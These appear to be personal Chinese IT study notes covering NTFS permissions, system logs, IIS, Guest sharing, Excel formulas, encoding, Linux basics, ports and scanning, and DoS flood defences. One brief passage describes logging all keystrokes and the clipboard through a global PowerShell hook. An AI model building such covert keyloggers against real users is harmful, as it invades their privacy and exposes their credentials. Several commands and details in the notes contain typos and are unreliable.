IBM\Xujian:(OI)(CI)F BUILTIN\Administrators:(OI)(CI)F SH\Boss:(OI)(CI)F BUILTIN\Administrators:F BUILTIN\Administrators:(OI)(CI)(IO)F NT AUTHORITY\SYSTEM:F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)F

  1. 批量查看对象的 ntfs 权限 powershell 提供非常丰富的 批量管理功能

如 test 文件夹下的 所有文本文档的有效权限

get-acl c:\test*.txt

为了方便查看 可以用 管道符号 将结果传输到 Format-list 命令. 修改显示格式 如:
Get-act c:\test*.txt Format-list

将对象的 ntfs 权限导出文本 用> 命令

get-acl c:\test*.txt Format-list > c:\aa.txt

工具 :

  1. Powershell 支持 使用参数 将输出 导出到 csv 文件. export-csv

  2. Fileacl 软件 下载 通过 /sub:n 来设定列举子文件夹的层数.
  3. showacls /s 实现列举子文件夹. 只能列举或者不列举 优点: 输出整齐 一文件夹为单位 进行列举.

高级文件权限: 根目录 TS. 开共享和安全 共享 任何人可读写 安全: 不继承

权限继承 是从上级文件夹继承下来的. 本级文件夹关闭共享 可以选择 保留 或者 删除上级留下来的程序.

TS 下面有 A、B、C 三个文件夹. a 下面有 a1 a2 b下面有 b1 b2 c 下面有 c1 c2

如果某人xx要有 c2的读写权限 别的都不能读写.: 可以看文件名称 ⁃ 首先 ts 要开共享 任何人可读写.
⁃ 取消继承. ⁃ 安全给

Messy code 乱码

Windows

  • 原版英文系统: 显示中文有问题:

    Control Panel –> Regional and Language Options –> “Language” Tab –> 检查这个有没有打钩 也就是 东亚语言支持 “Install files for East Asian Languages” 有的话–> Advanced –> select “Chinese(PRC)”这样可以显示中文

    没有的话 就要安装语言了. 这个就很麻烦很麻烦了 不要折腾了…

Log Event

Log-file need protected !! should not deleted by others.

日志文件 不能被删除 但是能被清空!!! 最多给只读权限.

  1. chane the default log-file path.
    1. add file permission.

Log Function:

  1. 记录 系统&程序&服务 运行的每个细节.

    如: 安装搜狗输入法 会有个 sogou 服务事件被记录. 如: 打印机服务的启动关闭. 也有记录.

    1. 阅读日志,有助于诊断和解决系统的故障

日志种类:

  1. 内核及系统日志: 这种日志数据有系统服务syslog统一管理,根据其主配置文件“/etc/syslog.conf”中的设置决定将内核消息及各种系统程序记录到什么位置。系统中有相当一部分程序会把自己的日志文件交由syslog管理,因而这些程序使用的日志记录也具有相似的格式。

    1. 用户日志: 记录linux系统 用户登录及退出系统的相关信息 包括用户名,登录的终端,登录时间,来源主机,正在使用的进程操作等。

    2. 程序日志: 有些应用程序会选择由自己独立管理一份日志文件,用于记录本程序运行过程中的各种时间信息。 由于这些程序只负责管理自己的日志,因此不同的程序所使用的日志记录格式也可能会存在较大的差异。

  • 域登录日志: administrative tools → event viewer →

开关机日志?? 6005 开机 6006 关机

*Log File Path : C: / Widnows / System32 / config

*查看日志: 系统自带的事件查看器. .

日志类别 :

服务器不同开启的日志也不同

  • AppEvent.evt 应用程序事件 按照严重程度分三种 :

    1. 错误 很严重 比如 数据丢失
    2. 警告 不严重 但是以后有可能导致问题
    3. 信息 程序或者服务的成功操作
  • SecEvent.evt 安全事件

    审核 成功/失败. 比如 尝试登陆 windows 是否成功.

  • SysEvent.evt 设置事件 域控的时间??

  • DNS / FTP / WWW 日志等等

事件 ID :

*每种类型的事件 都有一个唯一的 ID

6006 : 日志服务停止 6005 : 日志服务启动

9: 打印机设置…. 528 账户登陆注销 592 服务进程启动 600 启动服务的账户被记录.

linux系统本身和大部分服务器程序的日志默认都放在“/var/log”下,如下:查看“/var/log”目录下的所有文件及目录。

下面介绍一下我们常见的一些日志文件。
“/var/log/messages”:记录linux内核消息及各种应用程序的公共日志信息,包括启动、IO错误、网络错误、程序故障等。
“/var/log/cron”:记录crond计划任务产生的事件信息。
“/var/log/dmesg”:记录linux系统在引导过程中的各种事件信息。
“/var/log/maillog”:记录进入或发出系统的电子邮件活动。
“/var/log/lastlog”:记录每个用户最近的登录事件。
“/var/log/rpmpkgs”:记录系统中安装的各rpm包列表信息。
“/var/log/secure”:记录用户认证相关的安全事件信息。
“/var/log/wtmp”:记录每个用户登录、注销及系统启动和停机事件。
“/var/log/btmp”:记录失败的、错误的登录尝试及验证事件。
…. 日志文件分析
对于大多数文本格式的日志文件、只要使用tail、more、less、cat等文本处理工具就可以查看日志的内容。而对于一些二进制格式的日志文件,则需要使用特定的查询命令。 日志的格式
对于syslog服务统一管理的大部分日志文件,使用的日志记录格式基本上都是相同的。
如下:以公共日志“/var/log/messages”文件的记录格式为例。

其中每一行表示一条日志消息,每一条消息包括以下四个字段。
时间标签:消息发出的日期和时间。
主机名:生成消息的计算机的名称。
子系统名称:发出消息的应用程序的名称。
消息:消息的具体内容。 日志消息的级别
根据日志消息的重要程度不同,将其分为不同的优先级别(数字等级越小,优先级越高,消息越重要)
如下:日志的消息级别   分析内核及系统日志
  内核及系统日志功能主要由默认安装的sysklogd-1.4.1-39.2软件包提供,该软件包安装了klogd、syslogd两个程序,并通过syslog服务进行控制,分别用于记录系统内核的消息和各种应用程序的消息。syslog服务的配置文件为“/etc/syslog.conf”。如下:查看“/etc/syslog.conf”文件中的内容,可以了解到系统默认的日志设置。

从配置文件中可以看出,受syslogd服务管理的日志文件都是linux系统中最主要的日志文件,它们记录了linux系统中内核,用户认证,邮件,计划任务等最基本的系统消息。 分析用户日志
在wtmp、btmp、lastlog等日志文件中,保存了系统用户登录,退出等相关的事件消息。但是这些文件都是二进制的数据文件,不能直接使用tail、less等文本查看工具进行浏览,需要使用users、who、w、last和lastb等用户查询命令来获取日志信息。
1)查询当前登录的用户情况users、who、w命令。
users命令——简单输出当前登录的用户名称,每个显示的用户名对应一个登录会话。

who命令——用于报告当前登录到系统中的每个用户的信息。

w命令——显示当前系统中的每个用户及其所运行的进程信息,比users、who命令的输出内容要更详细。

2)查询用户登录的历史记录last、lastb命令
last命令——用于查询成功登录到系统的用户记录,最近的登录情况将显示在最前面。

lastb命令——用于查询登录失败的用户记录,比喻登录的用户名错误、密码不正确等情况都将记录在案。

分析程序日志
在linux系统中,还有相当一部分应用程序并没有使用syslogd服务来管理日志,而是由程序自己维护日志记录。
如下:这些程序的日志都将使用专门的日志分析工具分析。

     应用程序的日志,我们在以后学习linux服务当中会接触的更多,小编在这里就略略带过了。因为那个实在是很复杂,说起来也很枯燥。所以在这里主要是了解分析系统日志和用户日志就可以了。大家如果有看不懂的可以给我留言,我会及时回复大家的。 日志文件不但可以保存在本地的计算机上,还可保存在远程的日志服务器上,为了安全我们可以将一些比较重要的日志文件保存到远程计算机上,以免日志文件的损坏或丢失。如下图:更改日志服务的配置文件可以将本地计算机的日志保存到远程服务器上。

Keyboard Listen

PowerShell 使用 Hook ( 钩子 ) 全局监听 windows 按键事件

钩子类别: 本地 和 全局 本地钩子 只记录某个程序的消息 全局钩子 电脑所有记录

先 写个脚本 log.ps1 然后 cmd 打开 输入: powershell.exe -file log.psl 然后 所有按键记录 都会保存在 脚本里面设置好的目录下

粘帖版 也很重要.

keylogger.exe 键盘记录程序

(单击游戏 也会有键盘记录 是游戏需要自带的…..)

键盘记录

keylogger

IIS

  • 启用功能
  • 设置网站路径 和 端口

  • 设置 权限
  • 设置杂项
  • 正式发布

开启 IIS 功能. 浏览器访问 http://localhost/

出来页面就说明网页搭建成功了.

如图所示,打开项目的源文件夹,我们会看到许多文件,有.cs、.vscxproj、.config等,其中,我们需要的只有以下几种类型: 第一,网站的视图或页面文件,WebForm为aspx,MVC为cshtml或aspx,WebService为asmx等等 第二,网站的资源文件,如js脚本、图片、css文件等 第三,网站的动态链接库,即整个bin文件夹,及及其中的dll文件 第四,网站的配置文件,Web.config

Web页面能打开,但是会报错,500或者401等等,基本上是因为权限,如果401就是压根儿啥权限都没有,500有可能是在写本地数据库的时候,文件禁止写入所造成的服务器错误,于是乎,就请各位童鞋仔细查看网站目录的权限是否给够了。 如何检查呢,很简单,打开IIS,在左边的列表中选择一个网站或者虚拟目录,然后在右边的“操作”一栏中,选择“编辑权限”->“安全”,如图所示

,我的网站目录权限中有“Everyone”、“Authenticated Users”、“SYSTEM”、“Administrators”等几个用户组或者用户名,并允许“Everyone”用户组进行读取和执行、列出等操作,所以网站的脚本、内容都是允许任何人进行访问或者说获取的,有些童鞋的硬盘中没有设置过权限,有可能就没有Everyone的这个权限,

,添加Everyone或者IIS_IUSRS访问权限,如果需要文件上传,可以将某个文件夹设为可读可写可执行,只要在需要的权限上打上勾即可,如图_

网页的首页文件名为Index.htm,

关闭 guest 启用高级共享密码 进行访问 启用 guest 关闭高级共享密码 进行访问

Guest 账户 进入系统 很多权限会受限: 软件安装 文件夹创立.

电脑需要给别人用,为了更好的保护隐私 就需要创建 Guest 账户.

Guest 账户安全性原则 : 不能被其他计算机访问.

方便 打印机共享 文件共享 不要密码(就算你登录电脑是要密码的)

  1. 先开启 guest 功能
  2. 允许网络访问: 默认是拒绝 从网络访问 Guest 账户的. gpedit.msc 计算机设置 windows 设置 安全设置 本地策略 用户权限分配 拒绝从网络访问这台计算机 → 删除 Guest 账户.
  3. 文件夹 或者 打印机 共享里面添加 guest

File in use - Win

win7: 资源监视器. → CPU → 关联的句柄右边搜索 → 文件名称 → 就能看出被谁占用了.

xp: 下载软件: ProcessExplorer

A B C
1 60  
2 70  
3 80  
4 90  
5 10  
6 100  
IF(A3>1,1,0)

当 A3 单元格 的值大于1 就返回1 否则返回0

IF(B1>75,IF(AND(B1>90),"优秀","良好"),"差")

如果 B1 大于 75 则继续执行第二个函数 判断 B1 是不是大于90. B1≤75 差 ; 75<B1<90 良好; B1>90 优秀

LOOKUP

功能: 一个表格 每人一行 每人都有 姓名 性别 手机 身份证 爱好 你知道某人的名字 要查他 身份证 .

查询一行或一列 并 查找另一行或列中的相同位置的值.

VLOOKUP 按行 查找 表/区域 中的内容 OFFICE 官网教程https://support.office.com/zh-cn/article/VLOOKUP-函数-0bbc8083-26fe-4963-8ab8-93a18ad188a1?ui=zh-CN&rs=zh-CN&ad=CN

HLOOKUP

功能:在表格首列查找指定的数据, 并返回查找出来的结果.

语法: vlookup(lookup_value,table_array,col_index_num,range_lookup_)

语法解释: lookup_value : 要查找的值,可以是数值文本或者引用 必须位于表格的最左列

Table_array : 用于查找数据的区域  上面的查找值 必须位于这个区域的最左列.  可以是单元格区域 或者区域名称.


Row_index_num : table_array 中 待返回的匹配值的 行号.
Col_index_num : table_array 中 待返回的匹配值的 列号.




range_lookup : 逻辑值 , 函数返回结果 是精确匹配 还是近似匹配.
True / 省略 :  近似匹配
False : 精确匹配_ 

需在去做查找数据的数据表,需返回某列值的列号,逻辑值 True或者 False)

查找替换:

要把 * 号 替换成 ×
由于 * 是特殊的通配符    要在前面加 才能正常替换

删除多个 特定行: 查找 关键字 查找全部 查找 框里面会列出所有的 关键字行 全选 ctrl a
去表格上的高亮行 右键 删除 整行.

合并单元格 =con???(A1,B1,C1) 合并数据.

对比数据: 可以查找重复项 实现对比.

IP/Mac info ipconfig/all

系统启动项 msconfig

注册表: regedit

远程连接 mstsc Microsoft terminal services client

策略组 gpedit.msc

debian

apt-cache policy lrzsz

编码-乱码、二进制、bit-Byte

character encoding 字符编码

编码种类:几乎每个国家都有几种编码,全世界通用的是:unicode. 兼容性最好.

Unicode: Unicode UTF-7 UTF-8 UTF-16 UTF-32

中国大陆: GB 2312 EUC GBK(规定文件为GB13000) GB 18030 港澳台: 大五码 香港增补字符集 中文信息交换码(CCCII) 日本: ISO/IEC 2022 Shift JIS EUC 越南: 越南信息交换标准代码 印度: 印度文字信息交换码

二进制:

计算机根据有没有通电的真空管 来记录信息 通电就是1,没通电就是0; 所以电脑只认识 0/1 这个就是二进制

bit / byte

我们把0/1 称为 bit 但是bit实在太小 每份简单的数据都会使用8bits的大小来记录. 所以定义了 byte. 1Byte = 8 bits

编码系统:

计算机数据 是二进制的 人类数值运算是十进制的 人类文字则有很多语言

计算机要显示文字 就要进行一系列的转换才行 也就需要 编码系统(数值编码+文字编码).

数值编码:

十进制的 3456 = 310³ + 410² + 510¹ + 610⁰

二进制转十进制: 1101010 = 12⁶ + 12⁵ + 02⁴ + 12³ + 02² + 12¹ + 0*2⁰ =106

十进制转二进制: 106/2=53 整除 → 0
53/2=26+1 不整除 → 1 26/2=13 → 0 13/2=6+1 → 1 6/2=3 → 0 3/2=1+1 → 1 → 1

由下往上写 就是106 的二进制 表示 1101010

文字编码系统 也就是 字符对照表格.

文档电脑里面的实际资料一堆二进制的 010101001

编码系统: 用的是十进制 比如 65 对应 大写A 66 对应 大写B 67 对应 大写C

实际显示出来的资料 就是A B C

编译器: C C++ Java 等等 把英语 转译成电脑的01(机器语言) . 方便修改程序

没电的电脑是一堆废铁有电的电脑是一堆会电人的废铁. 软件才是电脑的灵魂.

软件分两大类: 一个是系统软件 一个是应用程序

由于电脑硬件根据是否通电只认识01 而01非常不利于程序员修改 光光转换编码就是个大工程 所以就有了编译器这个东西.

操作系统(operating system 也就是 OS )

操作系统的核心(kernel) 功能 : 管理所有的硬件, 让cpu开始判断逻辑 运算数值 让内存 载入/读取数据 让硬盘开始被存储 让网卡可以传输数据 等等 各种周边设备的运转

由于操作系统的核心非常重要, 万一被软件不小心停止掉或者破坏 会导致系统崩溃. 所以 操作系统的核心程序 在内存中是受到保护的,并且开机后 一直在内存中.

有了底层的操作系统 再配上相应的软件 就能为所欲为了.

**乱码原因: 编码对照表弄错(创建文件用的 a 编码 打开文件用的 b 编码) 导致乱码.

常用的英文编码表 ASCII系统 每个符号(英文.数字.符号) 都占用1bytes 也就是有2⁸=256种变化.

常用的文字编码系统 big5 每个中文字 占用2bytes 理论有2¹⁶ =65536 6万多个中文汉字 实际big5 编码只定义了一万多汉字 所以很多汉字不正常显示.

Unicode编码系统: UTF8 或者万国码. 为了解决big5 国际组织 跳出来定制了 汉字乱码这个问题

乱码实例:

Mac 文本乱码:

查看文件所用编码: vi 打开文件
命令输入 :set fileencoding 显示: fileencoding=gb18030 这个就是文本所用编码 转换编码 :set fileencoding=utf-8

Github Gui 中文乱码 原因:

乱码文件 文本编码用的 gb10830 什么的 而 git gui 默认用 utf-8 的 解决办法: 终端输入: git config —global gui.encoding utf-8 git 配置文件位置 /.gitconfig## Linux

Linux-Basic 简介

  • Linux: 由 unix 演变过来, Linux 的内核是免费的.
  • 发行版: Linux内核 + 应用软件 做一个打包. 有些收费,有些免费.
  • 知名发行版: Ubuntu、RedHat、CentOS、Debian、Fedora、SuSE…….
  • CentOS :ReaHat 企业版的克隆.相当稳定.

学习建议: 学命令窗口,不用图形界面.
init: 系统所有进程的起点(老祖宗)没有这个进程,任何进程都启动不了.

Hotkeys 简介
Tab 命令目录补全
Ctrl + C 终止当前命令.
Ctrl + D 退出当前终端 = exit
Ctrl + Z 暂停进程,fg 恢复
Ctrl + L 清屏.

Man 查看帮助文档.

系统根目录结构

bin   dev  home  lib64    media  opt   root sbin  sys  usr
boot  etc  lib   lost+found  mnt  proc  run srv   tmp  var
  • /bin Binary (二进制)的缩写。这个目录存放着最经常使用的命令。
  • /boot Linux 核心文件,包括一些连接文件以及镜像文件。
  • /dev Device(设备)的缩写。存放 Linux 的外部设备,

    在 Linux 中访问设备的方式和访问文件的方式是相同的。

  • /etc 所有的系统管理所需要的配置文件和子目录。
  • /home 用户的主目录,每个用户一个目录.
  • /lib 这个目录里存放着系统最基本的动态连接共享库,其作用类似于 Windows 里的 DLL 文件。几乎所有的应用程序都需要用到这些共享库。
  • /media 例如U盘、光驱等等,当识别后,linux 会把识别的设备挂载到这个目录下。
  • /mnt 系统提供该目录是为了让用户临时挂载别的文件系统的,如:光驱.
  • /opt 这是给主机额外安装软件所摆放的目录。比如你安装一个 ORACLE 数据库则就可以放到这个目录下。默认是空的。
  • /proc 这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,比如可以通过下面的命令来屏蔽主机的 ping 命令,使别人无法 ping 你的机器: echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all。
  • /root 该目录为系统管理员,也称作超级权限者的用户主目录。
  • /sbin s 就是 Super User 的意思,这里存放的是系统管理员使用的系统管理程序。
  • /srv 该目录存放一些服务启动之后需要提取的数据。
  • /tmp 这个目录是用来存放一些临时文件的。
  • /usr 重要目录,用户的很多应用程序和文件都放在这.

    类似与 windows 下的 program files目录。

  • /usr/bin:系统用户使用的应用程序。
  • /usr/sbin:超级用户使用的比较高级的管理程序和系统守护程序。
  • /usr/src:内核源代码默认的放置目录。
  • /var 这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。

在 linux 系统中,有几个目录是比较重要的,平时需要注意不要误删除或者随意更改内部文件。
/etc: 这个是系统中的配置文件,更改该目录可能会导致系统不能启动。
/bin, /sbin, /usr/bin, /usr/sbin: 这是系统预设的执行文件的放置目录,比如 ls 就是在 /bin/ls 目录下的。值得提出的是,/bin, /usr/bin 是给系统用户使用的指令(除 root 外的通用户),而 /sbin, /usr/sbin 则是给 root 使用的指令。
/var: 这是一个非常重要的目录,系统上跑了很多程序,那么每个程序都会有相应的日志产生,而这些日志就被记录到这个目录下,具体在 /var/log 目录下,另外 mail 的预设放置也是在这里。

如何正确关机

如果你要关机,必须要保证当前系统中没有其他用户在线。
查看在线用户: who 这个指令,
查看网络状态, netstat -a 这个指令,
查看背景执行的程序: ps -aux 这个指令。

正确的关机流程为:sysnc ? shutdown ? reboot ? halt

sync 将数据由内存同步到硬盘中。 shutdown 关机指令,你可以man shutdown 来看一下帮助文档。例如你可以运行如下命令关机: shutdown –h 10 ‘This server will shutdown after 10 mins’ 这个命令告诉大家,计算机将在10分钟后关机,并且会显示在登陆用户的当前屏幕中。 Shutdown –h now 立马关机 Shutdown –h 20:25 系统会在今天20:25关机 Shutdown –h +10 十分钟后关机 Shutdown –r now 系统立马重启 Shutdown –r +10 系统十分钟后重启 reboot 就是重启,等同于 shutdown –r now halt 关闭系统,等同于shutdown –h now 和 poweroff 最后总结一下,不管是重启系统还是关闭系统,首先要运行 sync 命令,把内存中的数据写到磁盘中。关机的命令有 shutdown –h now halt poweroff 和 init 0 , 重启系统的命令有 shutdown –r now reboot init 6。

忘记 root 密码如何做

Windows 忘记管理员密码,用光盘清除密码.
linux 忘记 root 密码,进入单用户模式更改一下 root 密码即可。

端口 Port

操作系统 & 进程 & 线程

操作系统的设计:

  1. 多进程形式: 允许多个任务同时进行
    1. 多线程形式: 单个任务猜分成不同的部分.
      1. 协调: 防止进程和线程产生冲突. 允许进程和线程共享资源.

工厂 → 多核CPU 一个 cpu 运行一个进程 车间 → 进程: Process 工人 → 线程: Thread 多个工人协作完成一个进程. 房间 → 内存空间.

车间空间是工人共享. → 内存空间是共享的.每个线程都能使用.

车间的房间 要规划作用: 有些给一个人用. 厕所: 简单&效率高. 优先采用. 有些给几个人用. 厨房

比如厕所.只能一个人进.有人在用 别人只能等, 实现方法: 互斥锁.Mutex 防止 多个线程同时读写某一块区域.

门口加锁. 别人看到锁 就排队. 这叫

厨房: 可容纳10个人. 超出10人 只能外面等 实现方法: 信号量.Semaphore 门口挂10把钥匙. 进门取钥匙.出门还钥匙. 没钥匙就等. 保证多个线程不会互相冲突.

为什么要有端口:

路由器: 把数据包顺利的传送到目的主机。 操作系统支持多程序(进程)同时运行. 主机接收到的数据包传送给众多同时运行的进程中的哪一个呢?端口机制便由此被引入进来。

端口其实就是队,系统为各个进程分配了不同的队,数据包按照目的端口被推入相应的队中,等待被进程取用.

接受数据包的进程需要开启它自己的端口,发送数据包的进程也需要开启端口,这样数据才能相互通信.

发送/接受端的端口号码不要求一样!

一台电脑的端口有 2^16个! 范围是从0 到65535 0-1024 端口一般被系统征用的.
一般都是1024+的端口号 随机给你一个.

电脑是为人服务的,他需要接受一些指令来调整系统功能. 操作系统 就像一个闭合的圆圈,这个圆是由很多线段(端口)组成的. 操作系统设计者,把这个圆圈截成好多段,这些线段就叫端口

  • 如果端口关闭,相应的程序不能得到命令.
  • 如果端口打开,相应的程序就能得到命令.接受外部数据并执行.

**周知端口(Well Known Ports) 范围: 0 - 1023

其中80端口分配给WWW服务,21端口分配给FTP服务等。

输入网址的时候是不必指定端口号的,因为在默认情况下WWW服务的端口是“80”。 如果不是默认的端口号则应该在 地址栏上指定端口号! 比如使用“8080”作为WWW服务的端口,则需要在地址栏里输入“网址:8080”。

有些系统协议使用固定的端口号,它是不能被改变的,

如139 端口专门用于NetBIOS与TCP/IP之间的通信,不能手动改变。

**注册端口 范围:1024 - 49151,

分配给用户进程或应用程序。这些进程主要是用户选择安装的一些应用程序,而不是已经分配好了公认端口的常用程序。这些端口在没有被服务器资源占用的时候,可以用用户端动态选用为源端口。

**动态端口(Dynamic Ports)范围: 49152 - 65535。

之所以称为动态端口,是因为它 一般不固定分配某种服务,而是动态分配。

端口分类: TCP / UDP

计算机之间相互通信的时候,分为两种方式:

  • TCP: 发送信息后,可以确认信息是否到达,也就是有应答的方式.
  • UDP: 发送信息以后就不管了,不去确认信息是否到达.

用软件扫描目标计算机 → 得到目标计算机打开的端口 也就知道提供了哪些服务。 服务软件一定有漏洞,根据这些攻击者可以达到对目标计算机的初步了解。

如果计算机的端口打开太多,而管理者不知道,那么,有两种情况: 一种是管理者没有注意,比如安装IIS的时候,软件就会自动增加很多服务. 一种是服务器被攻击者安装木马,通过特殊的端口进行通信。

端口列表

21 - - - FTP  文件传输  //木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner
22 - - - SSH - - - Secure Shell - - - - - - - 远程安全登录 / 文件传输.
23 - - - Telnet - -Telnet(远程登录)/ 未加密的文本通信,不太安全. //木马Tiny Telnet Server
25 - - - SMTP - - -简单邮件传输协议 - - - - - - -邮件服务器间的邮件传递 //木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口
42 - - - WINS - - -WINS主机名服务
53 - - - DNS - - - 域名服务系统
80 - - - HTTP - - -超文本传输协议 - - - - - - - - 传输网页
110- - - POP3 - - -邮局协议-第3版 - - - - - - - - 接收电子邮件
123- - - NTP - - - Network Time Protocol - - -  用于时间同步
161- - - SNMP - - -Simple Network Management Protocol
220- - - IMAP - - -交互邮件访问协议第3版
443- - - HTTPS - - HTTP securely transferring web pages(加密传输)
465- - - - - - - - SMTP over SSL
1080- - -SOCKS - - QQ,默认的端口
1433- - -MS SQL*SERVER数据库server
1434- - -MS SQL*SERVER数据库monitor
1521- - - Oracle 数据库
3306 - - - - - - - MySQL Database system 
3389 - - RDP - - - 远程桌面协议 WIN远程登陆
4899 - - Radmin - -远程控制工具
5500 - - VNC - - - remote desktop protocol 
8080 - - - - - - - Apache Tomcat 
9800 - - - - - - - WebDAV Source Port
10050- - - - - - - Zabbix-Agent
10051- - - - - - - Zabbix-Server

HTTP协议代理服务器常用端口号:80/8080/3128/8081/9080 
HTTP服务器,默认的端口号为80/tcp(木马Executor开放此端口);
20 21 端口区别

一个是控制端口,控制端口一般为21, 一个是数据端口,而数据端口不一定是20, 这和FTP的应用模式有关,

  • 如果是主动模式,应该为20,
    • 如果为被动模式,由服务器端和客户端协商而定

FTP Port模式和FTP Passive模式   当你对一个FTP问题进行排错时候,你首先要问的一个问题是使用的是port模式的还是passive 模式。因为这两种行为迥异,所以这两种模式引起的问题也不同;在过去,客户端缺省为active(port)模式;近来,由于Port模式的安全问题,许多客户端的FTP应用缺省为Passive模式。   

端口命令介绍: ( Mac OS )

保护端口: 1) 查看:经常用命令或软件查看本地所开放的端口,看是否有可疑端口; 2) 判断:如果开放端口中有你不熟悉的,应该马上查找端口大全或木马常见端口等资料(网上多的很),看看里面对你那个可疑端口的作用描述,或者通过软件查看开启此端口的进程来进行判断; 3) 关闭:如果真是木马端口或者资料中没有这个端口的描述,那么应该关闭此端口,你可以用防火墙来屏蔽此端口,也可以用本地连接-TCP/IP-高级-选项-TCP/IP筛选,启用筛选机制来筛选端口; 注意:判断时候要慎重,因为一些动态分配的端口也容易引起你多余的怀疑,这类端口一般比较低,且连续。还有,一些狡猾的后门软件,他们会借用80等一些常见端口来进行通信(穿透了防火墙),令人防不胜防,因此不轻易运行陌生程序才是关键。

查看端口:

  • 系统内置的命令
  • Mac 内置Network Utility
  • 第三方端口扫描软件。
  • Nmap / Zenmap (GUI 客户端 ,包含在 nmap 包里面 自己选装就好.)
内置命令:

netstat

Network Utility (实用工具)

Port Scan → 输入 IP. 查看本机端口输入: 127.0.0.1

端口扫描需要很长时间.因为端口有很多个啊,让它默默运行吧!!!

实例一: Mac 本地扫描.

Port Scan has started…
Port Scanning host: 127.0.0.1
     Open TCP Port:     22          ssh
     Open TCP Port:     80          http
     Open TCP Port:     88          kerberos
     Open TCP Port:     445         microsoft-ds
     Open TCP Port:     548         afpovertcp
     Open TCP Port:     1080        socks
     Open TCP Port:     3306        mysql
     Open TCP Port:     4490
     Open TCP Port:     4491
     Open TCP Port:     5900        rfb
     Open TCP Port:     6258
     Open TCP Port:     6263
     Open TCP Port:     8090
     Open TCP Port:     10050       zabbix-agent

实例二: 扫描 Router 本地路由器网关 可以得到路由器 Web管理地址.

Port Scan has started…
Port Scanning host: 192.168.11.1

     Open TCP Port:     23          telnet
     Open TCP Port:     53          domain
     Open TCP Port:     80          http
// 说明 路由器的 设置页面端口 是80  有些人会改这个端口 使得路由器更安全.

Port 端口

比喻: IP 是一间房子 端口就是门. 一个 ip 有 2^16=65536 个门

电脑通过 TCP/IP 协议 发送和接收数据包. 数据包根据 目标/对方 IP 来传送到目标电脑.

端口并不是一一对应的!!! 比如你的电脑作为客户机访 问一台WWW服务器时, WWW服务器使用“80”端口与你的电脑通信, 但你的电脑则可能使用“3457”这样的端口。

端口作用: 主机根据接收到的数据包里的端口号信息,决定这个数据包送给这么多同时运行的哪个进程(程序).

一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等. 这些服务完全看似通过1个IP地址来实现。实际上是通过“IP地址+默认端口号”来区分不同的服务的。

电脑系统: 给有需求的进程(程序) → 分配协议端口(protocol port,也就是常说的端口)

发送数据包的进程要开启端口 → 数据包标识有源端口 → 接受方才能传回数据包到发送数据的端口。 目的主机接收到数据包 → 根据报文首部的目的端口号 → 把数据发送到打开相应端口的进程.

0-1023一般被用作知名服务器的端口,被预定,如FTP、HTTP、SMTP等 80: www 服务 IE输入网址不必指定端口号,因为在默认情况下WWW服务的端口是“80”。

www 使用其他端口号:在地址后面加上冒号“:”(半角),再加上端口 号。 比如使用“8080”作为WWW服务的端口,则需要在地址栏里输入“网址:8080”。

21: FTP 服务

每个 TCP 连接都必须由一端(通常为 client )发起请求, 这个 port 通常是随机选择大于 1024的端口号

由于TCP和UDP 两个协议是独立的,因此各自的端口号也相互独立, 比如TCP有235端口,UDP也 可以有235端口,两者并不冲突。

如果攻击者使用软件扫描目标计算机,得到目标计算机打开的端口,也就了解了目标计算机提供了哪些服务。 我们都知道,提供服务就一定有服务软件的漏洞,根据这些,攻击者可以达到对目标计算机的初步了解。 如果计算机的端口打开太多,而管理者不知道,那么,有两种情况: 一种是提供了服务而管理者没有注意,比如安装IIS的时候,软件就会自动增加很多服务,而管理员可能没有注意到; 一种是服务器被攻击者安装木马,通过特殊的端口进行通信。这两种情况都是很危险的, 说到底,就是管理员不了解服务器提供的服务,减小了系统安全系数。

入侵者通常会用扫描器对目标主机的端口进行扫描,以确定哪些端口是开放的,从开放的端口,入侵者可以知道目标主机大致提供了哪些服务,进而猜测可能存在的漏洞,因此对端口的扫描可以帮助我们更好的了解目标主机,而对于管理员,扫描本机的开放端口也是做好安全防范的第一步。

三次握手(交换/传达信息): 比喻: 我 你 为什么我要两次回应. 第一次握手 我说: 我想打你 第二次握手 你回: 好的 并做好准备挨打的准备. 第三次握手 我说: 恩 我要开始打了 三次握手之后才能建立连接. 如果第三次

TCP封包会将(且只将) SYN旗标设定起来!表示这是整个联机的第一个封包;

如果另一端(通常为 Server ) 接受这个请求的话, 则会向请求端送回整个联机的第二个封包!其上除了 SYN旗标之外同时还将 ACK 旗标也设定起来,并同时在本机端建立资源以待联机之需;

然后,请求端获得服务端第一个响应封包之后,必须再响应对方一个确认封包,此时封包只带 ACK旗标(事实上,后继联机中的所有封包都必须带有 ACK 旗标);

· 只有当服务端收到请求端的确认( ACK )封包(也就是整个联机的第三个封包)之后,两端的联机才能正式建立。这就是所谓的 TCP 联机的’三次握手( Three-Way Handshake )’的原理。

经过三向交握之后, client 端的 port 通常是高于 1024 的随机取得的 port, 主机端 根据当时的服务是开启哪一个 port 而定, 例如 WWW 选择 80 而 FTP 则以 21 为正常的联机信道!

Port

默认端口:

mysql 端口 3306

*查看端口

netstat -an grep 3306

查看端口被哪个进程 占用 sudo lsof -n -P| grep :8087

lsof命令 通过list open file命令可以查看到当前打开文件, 在linux中所有事物都是以文件形式存在,包括网络连接及硬件设备。

lsof -i:80

-i参数表示网络链接,:80指明端口号,该命令会同时列出PID,方便kill

路由攻防

扫描路由端口

拒绝服务( DoS ) 攻击主要有: ICMP Flood、

一秒内 某ip 收到 规定数量的 ICMP 请求包

UDP Flood、 一秒内 某ip 的某个端口 收到超过规定数量的 UDP 包

SYN Flood、 某 ip 的某端口 收到超量的 TCP SYN 包.

WinNuke。 针对 Windows.

拒绝服务 ( Dos—Denial of Service ) 目的 用 极其大量的虚拟信息流 耗尽目标主机的资源. 目标主机被迫全力处理虚假信息流 从而影响正常信息流.

如果 攻击来自多个源地址 就称为 分布式拒绝服务 DDoS.

防护: 设置一个阈值. 一秒内 某 ip 的某种数据包 超过了一定数量 就认定发生了一次 洪泛工具 那么 接下来 2秒内的 忽略该ip 的这一类型的数据包.

